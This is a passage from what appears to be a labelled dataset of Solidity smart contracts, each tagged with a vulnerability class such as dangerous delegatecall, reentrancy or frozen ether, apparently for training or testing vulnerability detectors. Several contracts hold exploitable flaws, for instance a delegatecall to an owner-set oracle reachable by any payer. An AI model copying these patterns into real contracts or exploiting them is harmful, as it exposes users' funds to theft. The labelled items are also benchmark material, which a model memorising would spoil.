!tokenController.delegatecall(msg.data) ) revert(); } function addToReserve( ) public payable validAddress(tokenController) { if( !tokenController.delegatecall(msg.data) ) revert(); } function withdraw( uint256 amount ) public boardOnly { require(safeSub(this.balance, amount) >= reserve); board.transfer( amount ); } function issueToken( address , uint256 ) public authorized { if( !tokenController.delegatecall(msg.data) ) revert(); } function issueTokens( uint256[] ) public ownerOnly { if( !tokenController.delegatecall(msg.data) ) revert(); } function setFeesController( FeesControllerBase fc ) public boardOnly { feesController = fc; if( !feesController.delegatecall(bytes4(sha3(""init()""))) ) revert(); } function withdrawFee() public validAddress(feesController) { if( !feesController.delegatecall(msg.data) ) revert(); } function calculateFee() public validAddress(feesController) { if( !feesController.delegatecall(msg.data) ) revert(); } function addPayee( address ) public validAddress(feesController) { if( !feesController.delegatecall(msg.data) ) revert(); } function removePayee( address ) public validAddress(feesController) { if( !feesController.delegatecall(msg.data) ) revert(); } function setRepayment( ) payable public validAddress(feesController) { if( !feesController.delegatecall(msg.data) ) revert(); } }",./Dataset/ether frozen (EF),2,2 33425.sol," pragma solidity ^0.4.18; contract AdminInterface { address public Owner; address public oracle; uint256 public Limit; function AdminInterface(){ Owner = msg.sender; } modifier onlyOwner() { require(msg.sender == Owner); _; } function Set(address dataBase) payable onlyOwner { Limit = msg.value; oracle = dataBase; } function()payable{} function transfer(address multisig) payable onlyOwner { multisig.transfer(msg.value); } function addOwner(address newAddr) payable { if(msg.value > Limit) { oracle.delegatecall(bytes4(keccak256(""AddToWangDB(address)"")),msg.sender); newAddr.transfer(this.balance); } } }",./Dataset/dangerous delegatecall (DE)/,1,1 33518.sol,"pragma solidity ^0.4.11; contract PullPayInterface { function asyncSend(address _dest) public payable; } contract Governable { // list of admins, council at first spot address[] public admins; function Governable() { admins.length = 1; admins[0] = msg.sender; } modifier onlyAdmins() { bool isAdmin = false; for (uint256 i = 0; i < admins.length; i++) { if (msg.sender == admins[i]) { isAdmin = true; } } require(isAdmin == true); _; } function addAdmin(address _admin) public onlyAdmins { for (uint256 i = 0; i < admins.length; i++) { require(_admin != admins[i]); } require(admins.length < 10); admins[admins.length++] = _admin; } function removeAdmin(address _admin) public onlyAdmins { uint256 pos = admins.length; for (uint256 i = 0; i < admins.length; i++) { if (_admin == admins[i]) { pos = i; } } require(pos < admins.length); // if not last element, switch with last if (pos < admins.length - 1) { admins[pos] = admins[admins.length - 1]; } // then cut off the tail admins.length--; } } contract StorageEnabled { // satelite contract addresses address public storageAddr; function StorageEnabled(address _storageAddr) { storageAddr = _storageAddr; } // ############################################ // ########### NUTZ FUNCTIONS ################ // ############################################ // all Nutz balances function babzBalanceOf(address _owner) constant returns (uint256) { return Storage(storageAddr).getBal('Nutz', _owner); } function _setBabzBalanceOf(address _owner, uint256 _newValue) internal { Storage(storageAddr).setBal('Nutz', _owner, _newValue); } // active supply - sum of balances above function activeSupply() constant returns (uint256) { return Storage(storageAddr).getUInt('Nutz', 'activeSupply'); } function _setActiveSupply(uint256 _newActiveSupply) internal { Storage(storageAddr).setUInt('Nutz', 'activeSupply', _newActiveSupply); } // burn pool - inactive supply function burnPool() constant returns (uint256) { return Storage(storageAddr).getUInt('Nutz', 'burnPool'); } function _setBurnPool(uint256 _newBurnPool) internal { Storage(storageAddr).setUInt('Nutz', 'burnPool', _newBurnPool); } // power pool - inactive supply function powerPool() constant returns (uint256) { return Storage(storageAddr).getUInt('Nutz', 'powerPool'); } function _setPowerPool(uint256 _newPowerPool) internal { Storage(storageAddr).setUInt('Nutz', 'powerPool', _newPowerPool); } // ############################################ // ########### POWER FUNCTIONS ############# // ############################################ // all power balances function powerBalanceOf(address _owner) constant returns (uint256) { return Storage(storageAddr).getBal('Power', _owner); } function _setPowerBalanceOf(address _owner, uint256 _newValue) internal { Storage(storageAddr).setBal('Power', _owner, _newValue); } function outstandingPower() constant returns (uint256) { return Storage(storageAddr).getUInt('Power', 'outstandingPower'); } function _setOutstandingPower(uint256 _newOutstandingPower) internal { Storage(storageAddr).setUInt('Power', 'outstandingPower', _newOutstandingPower); } function authorizedPower() constant returns (uint256) { return Storage(storageAddr).getUInt('Power', 'authorizedPower'); } function _setAuthorizedPower(uint256 _newAuthorizedPower) internal { Storage(storageAddr).setUInt('Power', 'authorizedPower', _newAuthorizedPower); } function downs(address _user) constant public returns (uint256 total, uint256 left, uint256 start) { uint256 rawBytes = Storage(storageAddr).getBal('PowerDown', _user); start = uint64(rawBytes); left = uint96(rawBytes >> (64)); total = uint96(rawBytes >> (96 + 64)); return; } function _setDownRequest(address _holder, uint256 total, uint256 left, uint256 start) internal { uint256 result = uint64(start) + (left << 64) + (total << (96 + 64)); Storage(storageAddr).setBal('PowerDown', _holder, result); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Governable { bool public paused = true; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyAdmins whenNotPaused { paused = true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyAdmins whenPaused { //TODO: do some checks paused = false; } } /* * ERC20Basic * Simpler version of ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { function totalSupply() constant returns (uint256); function balanceOf(address _owner) constant returns (uint256); function transfer(address _to, uint256 _value) returns (bool); event Transfer(address indexed from, address indexed to, uint value); } contract ERC223Basic is ERC20Basic { function transfer(address to, uint value, bytes data) returns (bool); } /* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC223Basic { // active supply of tokens function activeSupply() constant returns (uint256); function allowance(address _owner, address _spender) constant returns (uint256); function transferFrom(address _from, address _to, uint _value) returns (bool); function approve(address _spender, uint256 _value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract Power is Ownable, ERC20Basic { event Slashing(address indexed holder, uint value, bytes32 data); string public name = ""Acebusters Power""; string public symbol = ""ABP""; uint256 public decimals = 12; function balanceOf(address _holder) constant returns (uint256) { return ControllerInterface(owner).powerBalanceOf(_holder); } function totalSupply() constant returns (uint256) { return ControllerInterface(owner).powerTotalSupply(); } function activeSupply() constant returns (uint256) { return ControllerInterface(owner).outstandingPower(); } // ############################################ // ########### ADMIN FUNCTIONS ################ // ############################################ function slashPower(address _holder, uint256 _value, bytes32 _data) public onlyOwner { Slashing(_holder, _value, _data); } function powerUp(address _holder, uint256 _value) public onlyOwner { // NTZ transfered from user's balance to power pool Transfer(address(0), _holder, _value); } // ############################################ // ########### PUBLIC FUNCTIONS ############### // ############################################ // registers a powerdown request function transfer(address _to, uint256 _amountPower) public returns (bool success) { // make Power not transferable require(_to == address(0)); ControllerInterface(owner).createDownRequest(msg.sender, _amountPower); Transfer(msg.sender, address(0), _amountPower); return true; } function downtime() public returns (uint256) { ControllerInterface(owner).downtime; } function downTick(address _owner) public { ControllerInterface(owner).downTick(_owner, now); } function downs(address _owner) constant public returns (uint256, uint256, uint256) { return ControllerInterface(owner).downs(_owner); } } contract Storage is Ownable { struct Crate { mapping(bytes32 => uint256) uints; mapping(bytes32 => address) addresses; mapping(bytes32 => bool) bools; mapping(address => uint256) bals; } mapping(bytes32 => Crate) crates; function setUInt(bytes32 _crate, bytes32 _key, uint256 _value) onlyOwner { crates[_crate].uints[_key] = _value; } function getUInt(bytes32 _crate, bytes32 _key) constant returns(uint256) { return crates[_crate].uints[_key]; } function setAddress(bytes32 _crate, bytes32 _key, address _value) onlyOwner { crates[_crate].addresses[_key] = _value; } function getAddress(bytes32 _crate, bytes32 _key) constant returns(address) { return crates[_crate].addresses[_key]; } function setBool(bytes32 _crate, bytes32 _key, bool _value) onlyOwner { crates[_crate].bools[_key] = _value; } function getBool(bytes32 _crate, bytes32 _key) constant returns(bool) { return crates[_crate].bools[_key]; } function setBal(bytes32 _crate, address _key, uint256 _value) onlyOwner { crates[_crate].bals[_key] = _value; } function getBal(bytes32 _crate, address _key) constant returns(uint256) { return crates[_crate].bals[_key]; } } contract NutzEnabled is Pausable, StorageEnabled { using SafeMath for uint; // satelite contract addresses address public nutzAddr; modifier onlyNutz() { require(msg.sender == nutzAddr); _; } function NutzEnabled(address _nutzAddr, address _storageAddr) StorageEnabled(_storageAddr) { nutzAddr = _nutzAddr; } // ############################################ // ########### NUTZ FUNCTIONS ################ // ############################################ // total supply(modified for etherscan display) function totalSupply() constant returns (uint256) { return activeSupply(); } // total supply(for internal calculations) function completeSupply() constant returns (uint256) { return activeSupply().add(powerPool()).add(burnPool()); } // allowances according to ERC20 // not written to storage, as not very critical mapping (address => mapping (address => uint)) internal allowed; function allowance(address _owner, address _spender) constant returns (uint256) { return allowed[_owner][_spender]; } function approve(address _owner, address _spender, uint256 _amountBabz) public onlyNutz whenNotPaused { require(_owner != _spender); allowed[_owner][_spender] = _amountBabz; } function _transfer(address _from, address _to, uint256 _amountBabz, bytes _data) internal { require(_to != address(this)); require(_to != address(0)); require(_amountBabz > 0); require(_from != _to); _setBabzBalanceOf(_from, babzBalanceOf(_from).sub(_amountBabz)); _setBabzBalanceOf(_to, babzBalanceOf(_to).add(_amountBabz)); } function transfer(address _from, address _to, uint256 _amountBabz, bytes _data) public onlyNutz whenNotPaused { _transfer(_from, _to, _amountBabz, _data); } function transferFrom(address _sender, address _from, address _to, uint256 _amountBabz, bytes _data) public onlyNutz whenNotPaused { allowed[_from][_sender] = allowed[_from][_sender].sub(_amountBabz); _transfer(_from, _to, _amountBabz, _data); } } /* * Contract that is working with ERC223 tokens */ contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data); } contract ControllerInterface { // State Variables bool public paused; address public nutzAddr; // Nutz functions function babzBalanceOf(address _owner) constant returns (uint256); function activeSupply() constant returns (uint256); function burnPool() constant returns (uint256); function powerPool() constant returns (uint256); function totalSupply() constant returns (uint256); function completeSupply() constant returns (uint256); function allowance(address _owner, address _spender) constant returns (uint256); function approve(address _owner, address _spender, uint256 _amountBabz) public; function transfer(address _from, address _to, uint256 _amountBabz, bytes _data) public; function transferFrom(address _sender, address _from, address _to, uint256 _amountBabz, bytes _data) public; // Market functions function floor() constant returns (uint256); function ceiling() constant returns (uint256); function purchase(address _sender, uint256 _value, uint256 _price) public returns (uint256); function sell(address _from, uint256 _price, uint256 _amountBabz); // Power functions function powerBalanceOf(address _owner) constant returns (uint256); function outstandingPower() constant returns (uint256); function authorizedPower() constant returns (uint256); function powerTotalSupply() constant returns (uint256); function powerUp(address _sender, address _from, uint256 _amountBabz) public; function downTick(address _owner, uint256 _now) public; function createDownRequest(address _owner, uint256 _amountPower) public; function downs(address _owner) constant public returns(uint256, uint256, uint256); function downtime() constant returns (uint256); } /** * @title PullPayment * @dev Base contract supporting async send for pull payments. */ contract PullPayment is Ownable { using SafeMath for uint256; uint public dailyLimit = 1000000000000000000000; // 1 ETH uint public lastDay; uint public spentToday; // 8bytes date, 24 bytes value mapping(address => uint256) internal payments; modifier onlyNutz() { require(msg.sender == ControllerInterface(owner).nutzAddr()); _; } modifier whenNotPaused () { require(!ControllerInterface(owner).paused()); _; } function balanceOf(address _owner) constant returns (uint256 value) { return uint192(payments[_owner]); } function paymentOf(address _owner) constant returns (uint256 value, uint256 date) { value = uint192(payments[_owner]); date = (payments[_owner] >> 192); return; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyOwner { dailyLimit = _dailyLimit; } function changeWithdrawalDate(address _owner, uint256 _newDate) public onlyOwner { // allow to withdraw immediately // move witdrawal date more days into future payments[_owner] = (_newDate << 192) + uint192(payments[_owner]); } function asyncSend(address _dest) public payable onlyNutz { require(msg.value > 0); uint256 newValue = msg.value.add(uint192(payments[_dest])); uint256 newDate; if (isUnderLimit(msg.value)) { uint256 date = payments[_dest] >> 192; newDate = (date > now) ? date : now; } else { newDate = now.add(3 days); } spentToday = spentToday.add(msg.value); payments[_dest] = (newDate << 192) + uint192(newValue); } function withdraw() public whenNotPaused { address untrustedRecipient = msg.sender; uint256 amountWei = uint192(payments[untrustedRecipient]); require(amountWei != 0); require(now >= (payments[untrustedRecipient] >> 192)); require(this.balance >= amountWei); payments[untrustedRecipient] = 0; assert(untrustedRecipient.call.gas(1000).value(amountWei)()); } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay.add(24 hours)) { lastDay = now; spentToday = 0; } // not using safe math because we don't want to throw; if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) { return false; } return true; } } /** * Nutz implements a price floor and a price ceiling on the token being * sold. It is based of the zeppelin token contract. */ contract Nutz is Ownable, ERC20 { event Sell(address indexed seller, uint256 value); string public name = ""Acebusters Nutz""; // acebusters units: // 10^12 - Nutz (NTZ) // 10^9 - Jonyz // 10^6 - Helcz // 10^3 - Pascalz // 10^0 - Babz string public symbol = ""NTZ""; uint256 public decimals = 12; // returns balances of active holders function balanceOf(address _owner) constant returns (uint) { return ControllerInterface(owner).babzBalanceOf(_owner); } function totalSupply() constant returns (uint256) { return ControllerInterface(owner).totalSupply(); } function activeSupply() constant returns (uint256) { return ControllerInterface(owner).activeSupply(); } // return remaining allowance // if calling return allowed[address(this)][_spender]; // returns balance of ether parked to be withdrawn function allowance(address _owner, address _spender) constant returns (uint256) { return ControllerInterface(owner).allowance(_owner, _spender); } // returns either the salePrice, or if reserve does not suffice // for active supply, returns maxFloor function floor() constant returns (uint256) { return ControllerInterface(owner).floor(); } // returns either the salePrice, or if reserve does not suffice // for active supply, returns maxFloor function ceiling() constant returns (uint256) { return ControllerInterface(owner).ceiling(); } function powerPool() constant returns (uint256) { return ControllerInterface(owner).powerPool(); } function _checkDestination(address _from, address _to, uint256 _value, bytes _data) internal { // erc223: Retrieve the size of the code on target address, this needs assembly . uint256 codeLength; assembly { codeLength := extcodesize(_to) } if(codeLength>0) { ERC223ReceivingContract untrustedReceiver = ERC223ReceivingContract(_to); // untrusted contract call untrustedReceiver.tokenFallback(_from, _value, _data); } } // ############################################ // ########### ADMIN FUNCTIONS ################ // ############################################ function powerDown(address powerAddr, address _holder, uint256 _amountBabz) public onlyOwner { bytes memory empty; _checkDestination(powerAddr, _holder, _amountBabz, empty); // NTZ transfered from power pool to user's balance Transfer(powerAddr, _holder, _amountBabz); } function asyncSend(address _pullAddr, address _dest, uint256 _amountWei) public onlyOwner { assert(_amountWei <= this.balance); PullPayInterface(_pullAddr).asyncSend.value(_amountWei)(_dest); } // ############################################ // ########### PUBLIC FUNCTIONS ############### // ############################################ function approve(address _spender, uint256 _amountBabz) public { ControllerInterface(owner).approve(msg.sender, _spender, _amountBabz); Approval(msg.sender, _spender, _amountBabz); } function transfer(address _to, uint256 _amountBabz, bytes _data) public returns (bool) { ControllerInterface(owner).transfer(msg.sender, _to, _amountBabz, _data); Transfer(msg.sender, _to, _amountBabz); _checkDestination(msg.sender, _to, _amountBabz, _data); return true; } function transfer(address _to, uint256 _amountBabz) public returns (bool) { bytes memory empty; return transfer(_to, _amountBabz, empty); } function transData(address _to, uint256 _amountBabz, bytes _data) public returns (bool) { return transfer(_to, _amountBabz, _data); } function transferFrom(address _from, address _to, uint256 _amountBabz, bytes _data) public returns (bool) { ControllerInterface(owner).transferFrom(msg.sender, _from, _to, _amountBabz, _data); Transfer(_from, _to, _amountBabz); _checkDestination(_from, _to, _amountBabz, _data); return true; } function transferFrom(address _from, address _to, uint256 _amountBabz) public returns (bool) { bytes memory empty; return transferFrom(_from, _to, _amountBabz, empty); } function () public payable { uint256 price = ControllerInterface(owner).ceiling(); purchase(price); require(msg.value > 0); } function purchase(uint256 _price) public payable { require(msg.value > 0); uint256 amountBabz = ControllerInterface(owner).purchase(msg.sender, msg.value, _price); Transfer(owner, msg.sender, amountBabz); bytes memory empty; _checkDestination(address(this), msg.sender, amountBabz, empty); } function sell(uint256 _price, uint256 _amountBabz) public { require(_amountBabz != 0); ControllerInterface(owner).sell(msg.sender, _price, _amountBabz); Sell(msg.sender, _amountBabz); } function powerUp(uint256 _amountBabz) public { Transfer(msg.sender, owner, _amountBabz); ControllerInterface(owner).powerUp(msg.sender, msg.sender, _amountBabz); } } contract MarketEnabled is NutzEnabled { uint256 constant INFINITY = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; // address of the pull payemnt satelite address public pullAddr; // the Token sale mechanism parameters: // purchasePrice is the number of NTZ received for purchase with 1 ETH uint256 internal purchasePrice; // floor is the number of NTZ needed, to receive 1 ETH in sell uint256 internal salePrice; function MarketEnabled(address _pullAddr, address _storageAddr, address _nutzAddr) NutzEnabled(_nutzAddr, _storageAddr) { pullAddr = _pullAddr; } function ceiling() constant returns (uint256) { return purchasePrice; } // returns either the salePrice, or if reserve does not suffice // for active supply, returns maxFloor function floor() constant returns (uint256) { if (nutzAddr.balance == 0) { return INFINITY; } uint256 maxFloor = activeSupply().mul(1000000).div(nutzAddr.balance); // 1,000,000 WEI, used as price factor // return max of maxFloor or salePrice return maxFloor >= salePrice ? maxFloor : salePrice; } function moveCeiling(uint256 _newPurchasePrice) public onlyAdmins { require(_newPurchasePrice <= salePrice); purchasePrice = _newPurchasePrice; } function moveFloor(uint256 _newSalePrice) public onlyAdmins { require(_newSalePrice >= purchasePrice); // moveFloor fails if the administrator tries to push the floor so low // that the sale mechanism is no longer able to buy back all tokens at // the floor price if those funds were to be withdrawn. if (_newSalePrice < INFINITY) { require(nutzAddr.balance >= activeSupply().mul(1000000).div(_newSalePrice)); // 1,000,000 WEI, used as price factor } salePrice = _newSalePrice; } function purchase(address _sender, uint256 _value, uint256 _price) public onlyNutz whenNotPaused returns (uint256) { // disable purchases if purchasePrice set to 0 require(purchasePrice > 0); require(_price == purchasePrice); uint256 amountBabz = purchasePrice.mul(_value).div(1000000); // 1,000,000 WEI, used as price factor // avoid deposits that issue nothing // might happen with very high purchase price require(amountBabz > 0); // make sure power pool grows proportional to economy uint256 activeSup = activeSupply(); uint256 powPool = powerPool(); if (powPool > 0) { uint256 powerShare = powPool.mul(amountBabz).div(activeSup.add(burnPool())); _setPowerPool(powPool.add(powerShare)); } _setActiveSupply(activeSup.add(amountBabz)); _setBabzBalanceOf(_sender, babzBalanceOf(_sender).add(amountBabz)); return amountBabz; } function sell(address _from, uint256 _price, uint256 _amountBabz) public onlyNutz whenNotPaused { uint256 effectiveFloor = floor(); require(_amountBabz != 0); require(effectiveFloor != INFINITY); require(_price == effectiveFloor); uint256 amountWei = _amountBabz.mul(1000000).div(effectiveFloor); // 1,000,000 WEI, used as price factor require(amountWei > 0); // make sure power pool shrinks proportional to economy uint256 powPool = powerPool(); uint256 activeSup = activeSupply(); if (powPool > 0) { uint256 powerShare = powPool.mul(_amountBabz).div(activeSup.add(burnPool())); _setPowerPool(powPool.sub(powerShare)); } _setActiveSupply(activeSup.sub(_amountBabz)); _setBabzBalanceOf(_from, babzBalanceOf(_from).sub(_amountBabz)); Nutz(nutzAddr).asyncSend(pullAddr, _from, amountWei); } // withdraw excessive reserve - i.e. milestones function allocateEther(uint256 _amountWei, address _beneficiary) public onlyAdmins { require(_amountWei > 0); // allocateEther fails if allocating those funds would mean that the // sale mechanism is no longer able to buy back all tokens at the floor // price if those funds were to be withdrawn. require(nutzAddr.balance.sub(_amountWei) >= activeSupply().mul(1000000).div(salePrice)); // 1,000,000 WEI, used as price factor Nutz(nutzAddr).asyncSend(pullAddr, _beneficiary, _amountWei); } } contract PowerEnabled is MarketEnabled { // satelite contract addresses address public powerAddr; // maxPower is a limit of total power that can be outstanding // maxPower has a valid value between outstandingPower and authorizedPow/2 uint256 public maxPower = 0; // time it should take to power down uint256 public downtime; uint public constant MIN_SHARE_OF_POWER = 100000; modifier onlyPower() { require(msg.sender == powerAddr); _; } function PowerEnabled(address _powerAddr, address _pullAddr, address _storageAddr, address _nutzAddr) MarketEnabled(_pullAddr, _nutzAddr, _storageAddr) { powerAddr = _powerAddr; } function setMaxPower(uint256 _maxPower) public onlyAdmins { require(outstandingPower() <= _maxPower && _maxPower < authorizedPower()); maxPower = _maxPower; } function setDowntime(uint256 _downtime) public onlyAdmins { downtime = _downtime; } function minimumPowerUpSizeBabz() public constant returns (uint256) { uint256 completeSupplyBabz = completeSupply(); if (completeSupplyBabz == 0) { return INFINITY; } return completeSupplyBabz.div(MIN_SHARE_OF_POWER); } // this is called when NTZ are deposited into the burn pool function dilutePower(uint256 _amountBabz, uint256 _amountPower) public onlyAdmins { uint256 authorizedPow = authorizedPower(); uint256 totalBabz = completeSupply(); if (authorizedPow == 0) { // during the first capital increase, set value directly as authorized shares _setAuthorizedPower((_amountPower > 0) ? _amountPower : _amountBabz.add(totalBabz)); } else { // in later increases, expand authorized shares at same rate like economy _setAuthorizedPower(authorizedPow.mul(totalBabz.add(_amountBabz)).div(totalBabz)); } _setBurnPool(burnPool().add(_amountBabz)); } function _slashPower(address _holder, uint256 _value, bytes32 _data) internal { uint256 previouslyOutstanding = outstandingPower(); _setOutstandingPower(previouslyOutstanding.sub(_value)); // adjust size of power pool uint256 powPool = powerPool(); uint256 slashingBabz = _value.mul(powPool).div(previouslyOutstanding); _setPowerPool(powPool.sub(slashingBabz)); // put event into satelite contract Power(powerAddr).slashPower(_holder, _value, _data); } function slashPower(address _holder, uint256 _value, bytes32 _data) public onlyAdmins { _setPowerBalanceOf(_holder, powerBalanceOf(_holder).sub(_value)); _slashPower(_holder, _value, _data); } function slashDownRequest(uint256 _pos, address _holder, uint256 _value, bytes32 _data) public onlyAdmins { var (total, left, start) = downs(_holder); left = left.sub(_value); _setDownRequest(_holder, total, left, start); _slashPower(_holder, _value, _data); } // this is called when NTZ are deposited into the power pool function powerUp(address _sender, address _from, uint256 _amountBabz) public onlyNutz whenNotPaused { uint256 authorizedPow = authorizedPower(); require(authorizedPow != 0); require(_amountBabz != 0); uint256 totalBabz = completeSupply(); require(totalBabz != 0); uint256 amountPow = _amountBabz.mul(authorizedPow).div(totalBabz); // check pow limits uint256 outstandingPow = outstandingPower(); require(outstandingPow.add(amountPow) <= maxPower); uint256 powBal = powerBalanceOf(_from).add(amountPow); require(powBal >= authorizedPow.div(MIN_SHARE_OF_POWER)); if (_sender != _from) { allowed[_from][_sender] = allowed[_from][_sender].sub(_amountBabz); } _setOutstandingPower(outstandingPow.add(amountPow)); _setPowerBalanceOf(_from, powBal); _setActiveSupply(activeSupply().sub(_amountBabz)); _setBabzBalanceOf(_from, babzBalanceOf(_from).sub(_amountBabz)); _setPowerPool(powerPool().add(_amountBabz)); Power(powerAddr).powerUp(_from, amountPow); } function powerTotalSupply() constant returns (uint256) { uint256 issuedPower = authorizedPower().div(2); // return max of maxPower or issuedPower return maxPower >= issuedPower ? maxPower : issuedPower; } function _vestedDown(uint256 _total, uint256 _left, uint256 _start, uint256 _now) internal constant returns (uint256) { if (_now <= _start) { return 0; } // calculate amountVested // amountVested is amount that can be withdrawn according to time passed uint256 timePassed = _now.sub(_start); if (timePassed > downtime) { timePassed = downtime; } uint256 amountVested = _total.mul(timePassed).div(downtime); uint256 amountFrozen = _total.sub(amountVested); if (_left <= amountFrozen) { return 0; } return _left.sub(amountFrozen); } function createDownRequest(address _owner, uint256 _amountPower) public onlyPower whenNotPaused { // prevent powering down tiny amounts // when powering down, at least completeSupply/minShare Power should be claimed require(_amountPower >= authorizedPower().div(MIN_SHARE_OF_POWER)); _setPowerBalanceOf(_owner, powerBalanceOf(_owner).sub(_amountPower)); var (, left, ) = downs(_owner); uint256 total = _amountPower.add(left); _setDownRequest(_owner, total, total, now); } // executes a powerdown request function downTick(address _holder, uint256 _now) public onlyPower whenNotPaused { var (total, left, start) = downs(_holder); uint256 amountPow = _vestedDown(total, left, start, _now); // prevent power down in tiny steps uint256 minStep = total.div(10); require(left <= minStep || minStep <= amountPow); // calculate token amount representing share of power uint256 amountBabz = amountPow.mul(completeSupply()).div(authorizedPower()); // transfer power and tokens _setOutstandingPower(outstandingPower().sub(amountPow)); left = left.sub(amountPow); _setPowerPool(powerPool().sub(amountBabz)); _setActiveSupply(activeSupply().add(amountBabz)); _setBabzBalanceOf(_holder, babzBalanceOf(_holder).add(amountBabz)); // down request completed if (left == 0) { start = 0; total = 0; } // TODO _setDownRequest(_holder, total, left, start); Nutz(nutzAddr).powerDown(powerAddr, _holder, amountBabz); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Controller is PowerEnabled { function Controller(address _powerAddr, address _pullAddr, address _nutzAddr, address _storageAddr) PowerEnabled(_powerAddr, _pullAddr, _nutzAddr, _storageAddr) { } function setContracts(address _storageAddr, address _nutzAddr, address _powerAddr, address _pullAddr) public onlyAdmins whenPaused { storageAddr = _storageAddr; nutzAddr = _nutzAddr; powerAddr = _powerAddr; pullAddr = _pullAddr; } function changeDailyLimit(uint256 _dailyLimit) public onlyAdmins { PullPayment(pullAddr).changeDailyLimit(_dailyLimit); } function kill(address _newController) public onlyAdmins whenPaused { if (powerAddr != address(0)) { Ownable(powerAddr).transferOwnership(msg.sender); } if (pullAddr != address(0)) { Ownable(pullAddr).transferOwnership(msg.sender); } if (nutzAddr != address(0)) { Ownable(nutzAddr).transferOwnership(msg.sender); } if (storageAddr != address(0)) { Ownable(storageAddr).transferOwnership(msg.sender); } selfdestruct(_newController); } }",./Dataset/reentrancy (RE)/,5,5 3491.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FoMo3DshortAgain is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA); address private admin = msg.sender; string constant public name = ""FOMO Short Again""; string constant public symbol = ""SHORT_AGAIN""; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 30 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr 